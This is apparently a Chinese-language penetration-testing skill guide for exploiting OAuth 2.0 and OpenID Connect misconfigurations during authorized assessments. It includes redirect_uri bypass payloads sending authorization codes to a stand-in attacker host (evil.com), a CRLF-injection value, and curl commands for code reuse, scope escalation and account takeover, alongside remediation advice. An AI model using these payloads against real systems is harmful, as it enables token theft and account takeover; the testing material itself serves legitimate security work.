| name | exploiting-oauth-misconfiguration |
| description | 在安全评估期间识别并利用 OAuth 2.0 和 OpenID Connect 错误配置,包括重定向 URI 操纵、令牌泄漏和授权码窃取。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","oauth","oidc","authentication","web-security","authorization"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
利用 OAuth 错误配置(Exploiting OAuth Misconfiguration)
适用场景
- 当应用程序使用 OAuth 2.0 或 OpenID Connect 进行身份验证时,在授权渗透测试期间
- 评估"使用 Google/Facebook/GitHub 登录"社交登录实现时
- 测试应用程序之间的单点登录(SSO)流程时
- 评估使用 OAuth Bearer 令牌的 API 授权时
- 对充当 OAuth 提供者或消费者的应用程序进行安全评估期间
前置条件
- 授权:涵盖 OAuth/SSO 流程的书面渗透测试协议
- Burp Suite Professional:用于拦截 OAuth 重定向流程
- 带开发者工具的浏览器:用于监控重定向链和令牌泄漏
- 多个测试账户:在 OAuth 提供者和目标应用程序上都有
- curl:用于手动 OAuth 流程测试
- 攻击者控制的服务器:用于接收重定向的令牌/授权码
工作流程
步骤 1:映射 OAuth 流程和配置
识别 OAuth 授权类型、端点和配置。
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
步骤 2:测试重定向 URI 操纵
尝试将授权码或令牌重定向到攻击者控制的域名。
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "测试: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
echo "$status"
done
步骤 3:测试授权码和令牌窃取
利用泄漏向量窃取 OAuth 令牌和授权码。
CODE="captured_auth_code"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
步骤 4:测试权限提升和权限操纵
尝试获取超出预期的更多权限。
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
步骤 5:通过 OAuth 测试账户接管
利用 OAuth 流程接管受害者账户。
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"
步骤 6:测试客户端密钥和令牌安全性
评估 OAuth 凭据和令牌的安全性。
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
ACCESS_TOKEN="captured_access_token"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
核心概念
| 概念 | 定义 |
|---|
| 授权码流程(Authorization Code Flow) | 最安全的 OAuth 流程;在服务器端将短期授权码交换为令牌 |
| 隐式流程(Implicit Flow) | 已弃用的流程,在 URL 片段中直接返回令牌;容易泄漏 |
| PKCE | 授权码交换证明密钥;防止授权码拦截攻击 |
| 重定向 URI 验证(Redirect URI Validation) | 验证 redirect_uri 与已注册值匹配的服务器端验证 |
| State 参数(State Parameter) | 将 OAuth 请求绑定到用户会话的随机值,防止 CSRF |
| 权限范围提升(Scope Escalation) | 请求或获取超过授权的更多权限 |
| 令牌泄漏(Token Leakage) | 通过 Referer 头、日志或浏览器历史暴露 OAuth 令牌 |
| 开放重定向(Open Redirect) | 将 OAuth redirect_uri 用作开放重定向来窃取令牌 |
工具与系统
| 工具 | 用途 |
|---|
| Burp Suite Professional | 拦截 OAuth 重定向链并修改参数 |
| OWASP ZAP | 自动化 OAuth 流程扫描 |
| Postman | 使用环境变量进行手动 OAuth 流程测试 |
| oauth-tools.com | 在线 OAuth 流程调试和测试 |
| jwt.io | OAuth 访问令牌的 JWT 令牌分析 |
| 浏览器开发者工具 | 监控网络请求和重定向链 |
常见场景
场景:重定向 URI 子域名绕过
OAuth 提供者对 *.example.com 验证 redirect_uri。攻击者发现一个容易接管的子域名(old.example.com),接管它,并窃取重定向到该子域名的授权码。
场景:缺少 State 参数的 CSRF
OAuth 登录流程不包含或不验证 state 参数。攻击者构建一个链接,将受害者登录到攻击者的账户,从而实现账户混淆攻击。
场景:隐式流程令牌窃取
应用程序使用隐式流程,在 URL 片段中接收访问令牌。回调页面加载第三方分析脚本,令牌通过 Referer 头泄漏。
场景:授权码重用
OAuth 提供者在首次使用后不使授权码失效。通过 Referer 泄漏拦截授权码的攻击者即使在合法用户完成流程后仍可将其交换为访问令牌。
输出格式
## OAuth 安全评估报告
**漏洞**: 重定向 URI 验证绕过
**严重性**: 高(CVSS 8.1)
**位置**: GET /oauth/authorize - redirect_uri 参数
**OWASP 类别**: A07:2021 - 身份识别和认证失效
### OAuth 配置
| 属性 | 值 |
|----------|-------|
| 授权类型 | 授权码 |
| PKCE | 未实现 |
| State 参数 | 存在但可预测 |
| 令牌类型 | JWT(RS256) |
| 令牌有效期 | 1 小时 |
| 刷新令牌 | 30 天 |
### 发现
| 发现 | 严重性 |
|---------|----------|
| 重定向 URI 路径遍历绕过 | 高 |
| 公共客户端缺少 PKCE | 高 |
| 授权码可重用 | 中 |
| State 参数使用顺序值 | 中 |
| JavaScript 中暴露的客户端密钥 | 严重 |
| 密码更改后令牌未撤销 | 中 |
### 建议
1. 使用精确字符串匹配实施严格的 redirect_uri 验证
2. 要求所有客户端(尤其是公共/移动客户端)使用 PKCE
3. 首次使用后使授权码失效
4. 使用与用户会话绑定的加密随机 state 参数
5. 从隐式流程迁移到带 PKCE 的授权码流程
6. 绝不在客户端代码中暴露客户端密钥